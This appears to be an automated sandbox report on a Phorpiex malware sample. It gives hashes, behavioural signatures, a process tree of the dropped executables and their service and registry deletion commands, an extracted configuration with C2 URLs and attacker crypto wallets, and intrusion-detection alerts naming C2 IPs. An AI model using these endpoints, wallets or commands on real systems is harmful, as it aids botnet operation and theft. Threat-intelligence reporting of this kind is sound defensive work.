Edit tour

Windows Analysis Report
a0RkmvhSaf.exe

Overview

General Information

Sample name:	a0RkmvhSaf.exe renamed because original name is a hash value
Original sample name:	4c52cf849be8954638925c242e0cc976.exe
Analysis ID:	1632967
MD5:	4c52cf849be8954638925c242e0cc976
SHA1:	949ba0061ea9dbe3b9059bb2a7b20caa74861280
SHA256:	fa6fcf2e154c0b18b12ab86267ccd38d79cc9c27e7e261a7e9201a0a9dd9d0bb
Tags:	exeuser-abuse_ch
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Phorpiex

Allocates memory in foreign processes

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Creates a thread in another existing process (thread injection)

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Joe Sandbox ML detected suspicious sample

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Connects to several IPs in different countries

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

a0RkmvhSaf.exe (PID: 8580 cmdline: "C:\Users\user\Desktop\a0RkmvhSaf.exe" MD5: 4C52CF849BE8954638925C242E0CC976)

230053364.exe (PID: 8652 cmdline: C:\Users\user\AppData\Local\Temp\230053364.exe MD5: 87DCE6B601DA9E68982EF5BC7628468C)

sysludpvs.exe (PID: 8672 cmdline: C:\Windows\sysludpvs.exe MD5: 87DCE6B601DA9E68982EF5BC7628468C)

152942395.exe (PID: 8952 cmdline: C:\Users\user\AppData\Local\Temp\152942395.exe MD5: C87843A4C7972D85F0D739E0E32F61AD)

634722489.exe (PID: 9168 cmdline: C:\Users\user\AppData\Local\Temp\634722489.exe MD5: 64D97CEAC5D0FBB39F316EB8707C5AF4)

conhost.exe (PID: 9208 cmdline: "C:\Windows\System32\conhost.exe" "" MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6764 cmdline: C:\Windows\system32\WerFault.exe -u -p 9208 -s 944 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

2052810334.exe (PID: 6864 cmdline: C:\Users\user\AppData\Local\Temp\2052810334.exe MD5: B1C1D77E69753D822893438B35B2E7CC)

cmd.exe (PID: 6924 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "Windows Services" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6708 cmdline: sc delete "Windows Services" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 6916 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

417928448.exe (PID: 8500 cmdline: C:\Users\user\AppData\Local\Temp\417928448.exe MD5: 38C5CE383F70DC49175CC5843F017FF9)

cmd.exe (PID: 8424 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1828 cmdline: sc delete "WinSrvcsDrv" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 8620 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

2047112978.exe (PID: 6084 cmdline: C:\Users\user\AppData\Local\Temp\2047112978.exe MD5: 9E1AAFB6D1C75D75F7E1A8E135F9C508)

cmd.exe (PID: 476 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinUpla" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1936 cmdline: sc delete "WinUpla" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 8656 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

399630275.exe (PID: 1364 cmdline: C:\Users\user\AppData\Local\Temp\399630275.exe MD5: 38C5CE383F70DC49175CC5843F017FF9)

cmd.exe (PID: 3816 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1312 cmdline: sc delete "WinSrvcsDrv" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 1940 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

2028814805.exe (PID: 2332 cmdline: C:\Users\user\AppData\Local\Temp\2028814805.exe MD5: 11BFAECFB780B663434E2CCC81873C64)

cmd.exe (PID: 2340 cmdline: "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 3324 cmdline: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3148 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Service" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3492 cmdline: schtasks /delete /f /tn "Windows Upgrade Service" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

393932919.exe (PID: 3564 cmdline: C:\Users\user\AppData\Local\Temp\393932919.exe MD5: 5E24B9457135B737012CDE5E30CF124B)

cmd.exe (PID: 2568 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinDrvUpd" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4544 cmdline: sc delete "WinDrvUpd" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 1468 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

1216017805.exe (PID: 4996 cmdline: C:\Users\user\AppData\Local\Temp\1216017805.exe MD5: 02320B5A9FFB3AA91FC2FE0F0906C575)

cmd.exe (PID: 5608 cmdline: "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 9020 cmdline: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 6288 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6460 cmdline: schtasks /delete /f /tn "Windows Upgrade Manager" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

38822795.exe (PID: 6588 cmdline: C:\Users\user\AppData\Local\Temp\38822795.exe MD5: 9F3B28CD269F23EB326C849CB6D8ED3D)

cmd.exe (PID: 9188 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinUpdt" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 428 cmdline: sc delete "WinUpdt" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 1400 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

396820397.exe (PID: 5380 cmdline: C:\Users\user\AppData\Local\Temp\396820397.exe MD5: 8F1F692C2E839E6F821E42057F8B1C01)

cmd.exe (PID: 8260 cmdline: "C:\Windows\System32\cmd.exe" /c sc delete "WinMngr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3804 cmdline: sc delete "WinMngr" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 6824 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

sysludpvs.exe (PID: 9076 cmdline: "C:\Windows\sysludpvs.exe" MD5: 87DCE6B601DA9E68982EF5BC7628468C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": ["http://91.202.233.141/", "http://45.93.20.18/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "lava@100le8y8x7w4uls8dhkuvtzten5jyvxgfj0crhw", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "EQBeqKxk-pwQ86KK0jwau5NKkjk9c-xtDR8kU5YP3OgROvlE", "Cz6xMbBst86mjM44qAaE5ahkD3F8JpLY7LFGHMiKYzwS6mn", "CSLKveRL2zqkbV2TqiFVuW6twtpqgFajoUZLAJQTTQk2", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd1a", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x39f6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x414d:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x32a6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x39fd:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
Process Memory Space: 230053364.exe PID: 8652	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysludpvs.exe PID: 8672	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysludpvs.exe PID: 9076	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysludpvs.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\230053364.exe, ProcessId: 8652, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Suricata Signatures

ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:55:00.453495+0100	2022482	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:55:05.878380+0100	2022482	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:55:11.407235+0100	2022482	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP

ET MALWARE JS/Nemucod.M.gen downloading EXE payload

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:53:47.442508+0100	2021954	1	A Network Trojan was detected	91.202.233.141	80	192.168.2.5	49715	TCP
2025-03-09T13:55:05.651672+0100	2021954	1	A Network Trojan was detected	91.202.233.141	80	192.168.2.5	49715	TCP
2025-03-09T13:55:11.183356+0100	2021954	1	A Network Trojan was detected	91.202.233.141	80	192.168.2.5	49715	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:54:11.531492+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:17.250570+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:22.798147+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:28.093929+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:33.402546+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:38.687979+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:44.235197+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:49.628982+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:55.063271+0100	2018581	1	A Network Trojan was detected	192.168.2.5	49715	91.202.233.141	80	TCP

ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:54:05.669674+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	92.244.232.104	40500	UDP
2025-03-09T13:54:10.679974+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	37.150.149.45	40500	UDP
2025-03-09T13:54:15.799890+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	5.76.154.73	40500	UDP
2025-03-09T13:54:25.819396+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	5.233.112.110	40500	UDP
2025-03-09T13:54:35.823349+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	37.151.27.190	40500	UDP
2025-03-09T13:54:40.820928+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	79.164.150.28	40500	UDP
2025-03-09T13:54:45.819654+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	213.206.60.173	40500	UDP
2025-03-09T13:54:50.835431+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	213.206.62.251	40500	UDP
2025-03-09T13:54:55.850747+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	151.233.107.54	40500	UDP
2025-03-09T13:55:00.866581+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	93.188.86.253	40500	UDP
2025-03-09T13:55:10.882436+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	113.86.140.229	40500	UDP
2025-03-09T13:55:15.889415+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	178.88.234.209	40500	UDP
2025-03-09T13:55:20.898234+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	146.70.53.161	40500	UDP
2025-03-09T13:55:35.916043+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	147.30.105.215	40500	UDP
2025-03-09T13:55:40.913812+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	90.156.165.93	40500	UDP
2025-03-09T13:55:45.928871+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	2.181.203.195	40500	UDP
2025-03-09T13:55:50.944333+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	216.107.138.162	40500	UDP
2025-03-09T13:55:56.560493+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	95.56.224.166	40500	UDP
2025-03-09T13:56:26.616255+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	95.142.87.201	40500	UDP
2025-03-09T13:56:31.642799+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	178.253.102.216	40500	UDP
2025-03-09T13:56:46.663102+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	95.58.24.170	40500	UDP
2025-03-09T13:57:06.726544+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	89.35.132.112	40500	UDP
2025-03-09T13:57:31.758230+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	2.180.93.42	40500	UDP
2025-03-09T13:57:36.759089+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	78.39.225.185	40500	UDP
2025-03-09T13:57:51.788766+0100	2044077	1	A Network Trojan was detected	192.168.2.5	65203	93.180.124.3	40500	UDP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:53:55.970019+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	185.215.113.66	80	TCP
2025-03-09T13:53:58.710704+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	185.215.113.66	80	TCP
2025-03-09T13:54:03.751692+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49710	91.202.233.141	80	TCP
2025-03-09T13:54:05.548445+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:11.531492+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:11.974570+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:14.260907+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:16.549798+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:17.250570+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:18.805223+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49712	91.202.233.141	80	TCP
2025-03-09T13:54:22.798147+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:23.605572+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49587	45.93.20.18	80	TCP
2025-03-09T13:54:27.367765+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49589	45.93.20.18	80	TCP
2025-03-09T13:54:28.093929+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:31.133646+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49591	45.93.20.18	80	TCP
2025-03-09T13:54:33.402546+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:34.930434+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49592	45.93.20.18	80	TCP
2025-03-09T13:54:38.687979+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:38.713259+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49594	45.93.20.18	80	TCP
2025-03-09T13:54:42.727357+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49595	91.202.233.141	80	TCP
2025-03-09T13:54:44.235197+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:45.528581+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:47.781200+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:49.628982+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:50.063393+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:52.327644+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49596	91.202.233.141	80	TCP
2025-03-09T13:54:55.063271+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:54:57.181848+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49598	45.93.20.18	80	TCP
2025-03-09T13:55:00.453495+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:55:00.966612+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49600	45.93.20.18	80	TCP
2025-03-09T13:55:04.747416+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49601	45.93.20.18	80	TCP
2025-03-09T13:55:05.878380+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:55:08.528664+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49603	45.93.20.18	80	TCP
2025-03-09T13:55:11.407235+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49715	91.202.233.141	80	TCP
2025-03-09T13:55:12.291313+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49605	45.93.20.18	80	TCP
2025-03-09T13:55:16.297318+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49607	91.202.233.141	80	TCP
2025-03-09T13:55:19.093052+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49608	91.202.233.141	80	TCP
2025-03-09T13:55:21.862183+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49610	91.202.233.141	80	TCP
2025-03-09T13:55:24.602892+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49611	91.202.233.141	80	TCP
2025-03-09T13:55:27.364644+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49613	91.202.233.141	80	TCP
2025-03-09T13:55:32.147306+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49615	45.93.20.18	80	TCP
2025-03-09T13:55:35.936299+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49616	45.93.20.18	80	TCP
2025-03-09T13:55:39.714414+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49618	45.93.20.18	80	TCP
2025-03-09T13:55:43.589369+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49620	45.93.20.18	80	TCP
2025-03-09T13:55:47.353905+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49622	45.93.20.18	80	TCP
2025-03-09T13:55:51.287294+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49624	91.202.233.141	80	TCP
2025-03-09T13:55:54.092835+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49625	91.202.233.141	80	TCP
2025-03-09T13:55:57.284640+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49627	91.202.233.141	80	TCP
